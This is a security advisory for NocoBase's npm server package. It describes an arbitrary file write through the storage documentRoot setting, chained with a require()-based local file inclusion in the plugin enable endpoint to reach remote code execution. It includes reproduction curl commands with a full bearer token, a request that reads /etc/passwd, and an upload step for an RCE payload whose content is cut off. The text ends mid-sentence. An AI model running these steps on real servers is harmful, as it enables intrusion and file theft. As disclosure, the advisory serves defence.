GHSA-ghvf-qf6h-g8x5 NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution

• npm @nocobase/server: < 2.1.5 → fixed in 2.1.5

Executive Summary Two vulnerabilities were identified and chained to achieve authenticated remote code execution The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion). Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution. A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token. VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation Summary The file-manager plugin's storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record's `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths. Vulnerable Components `packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24–27 | `packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` Server route: `POST /api/storages:update` Server route: `POST /api/attachments:upload` Root Cause `getDocumentRoot()` resolves the `documentRoot` field from the storage record: ```javascript // packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } = this.storage.options || {}; return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot)); ``` `resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is no validation on the `documentRoot` value itself at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there. The creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the update endpoint is worse: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards. Steps to Reproduce Prerequisites: Admin session token. Step 1 Get the local storage ID: ```bash curl -s "http://192.168.228.130:13000/api/storages" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" ``` Storage ID on this target: `366584416632832` Step 2 Create the RCE payload: ```bash cat > /tmp/rce_proof.js Step 4 upload the RCE payload: The payload writes output to the NocoBase uploads directory, which is served statically on port 13000 ```bash curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \ -F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript" ``` Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call Overview `pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes: • Non-JS files (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read. • JS files (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01. Root Cause The `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation: ```typescript // packages/core/server/src/plugin-manager/options/resource.ts L141-151 async enable(ctx, next) { const { filterByTk } = ctx.action.params; // ← raw user input if (!filterByTk) { ctx.throw(400, 'plugin name invalid'); } const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk]; app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' }); // ← no sanitization ctx.body = filterByTk; await next(); }, ``` The CLI handler calls `requireModule(key)`: ```typescript // packages/core/utils/src/requireModule.ts export function requireModule(m: any) { if (typeof m === 'string') { m = require(m); // ← arbitrary file executed as Node.js module } if (typeof m !== 'object') { return m; } return m.__esModule ? m.default : m; } ``` `assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is never invoked in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → `require()`. Steps to Reproduce Error-Based File Read (Standalone) Step 1 Trigger require() on any file: ```bash curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \ -H "Authorization: Bearer TOKEN" Response: {"data":"/etc/passwd"} — 200 OK ``` Node.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with: and we see the error message after sending the request: Step 2 navigate to the logger and download the system error log now when we extract the .tar file we can see proof of local file inclusion (partial in this response): <img width="1264" height="268" alt="image" src="https://github.com/user-atta…